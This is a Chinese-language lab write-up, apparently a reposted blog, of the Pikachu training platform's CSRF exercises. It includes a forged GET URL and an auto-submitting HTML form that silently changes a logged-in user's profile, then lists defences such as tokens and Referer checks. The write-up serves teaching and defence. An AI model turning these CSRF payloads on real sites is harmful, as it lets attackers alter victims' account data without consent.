pikachu----CSRF 跨站请求漏洞

 CSRF 

在CSRF攻击场景中攻击者会伪造一个请求  (一个链接)

然后欺骗目标用户点击,用户一旦点击了这个请求,整个攻击也就完成了

所以CSRF攻击也被称为“one click“攻击

例子:  想要修改lucy购物地址信息  lucy必须处于登录的状态,lucy必须点击攻击链接

xss和csrf区别:

1.csrf(get)

登录之后,可以进入修改个人信息   然后进行抓包

将get请求修改为攻击者伪造的链接  在登录状态下点击,就可以修改用户信息

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=hebei&email=lucy%40pikachu.com&submit=submit

 

 2. csrf  (post)

 修改信息后,抓包

 如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击

这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,

诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。、

编写一个post.html页面,代码如下所示,本文把此页面放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务

<html>
<head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://192.168.50.100/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="12345678922" /> <input id="add" type="text" name="add" value="hacker" /> <input id="email" type="text" name="email" value="[email protected]" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>

    下面把页面的URL发送给受害者,只要受害者一点击这个链接,就会自动往服务器发送POST请求,修改地址信息

http://192.168.50.100/pikachu/doge_csrf/post.html

  3. csrf  Token

CSRF的主要问题是敏感操作容易被伪造,我们可以加入Token让请求不容易被伪造

  • 每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证

GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=12345678922&add=hebei&email=lucy%40pikachu.com&token=267795e467f2a0a262655625022&submit=submit HTTP/1.1

每次提交完访问的是  token_get_edit.php 页面    

、查看页面源码,会有一个隐藏的token值,  提交完 后台的token值会与提交的token值进行验证,跳过 才可以修改数据

防护措施

  • 增加Token验证(常用做法)
    • 对关键操作增加Token参数,token必须随机,每次都不一样
  • 关于安全的会话管理(避免会话被利用) 避免登录态
    • 不要在客户端保存敏感信息(比如身份验证信息) 
    • 退出、关闭浏览器时的会话过期机制
    • 设置会话过机制,比如15分钟无操作,则自动登录超时
  • 访问控制安全管理
    • 敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
    • 敏感信息的修改使用POST,而不是GET
    • 通过HTTP头部中的REFERER来限制原页面
  • 增加验证码
    • 一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)

猜你喜欢

转载自www.cnblogs.com/xingyuner/p/12309143.html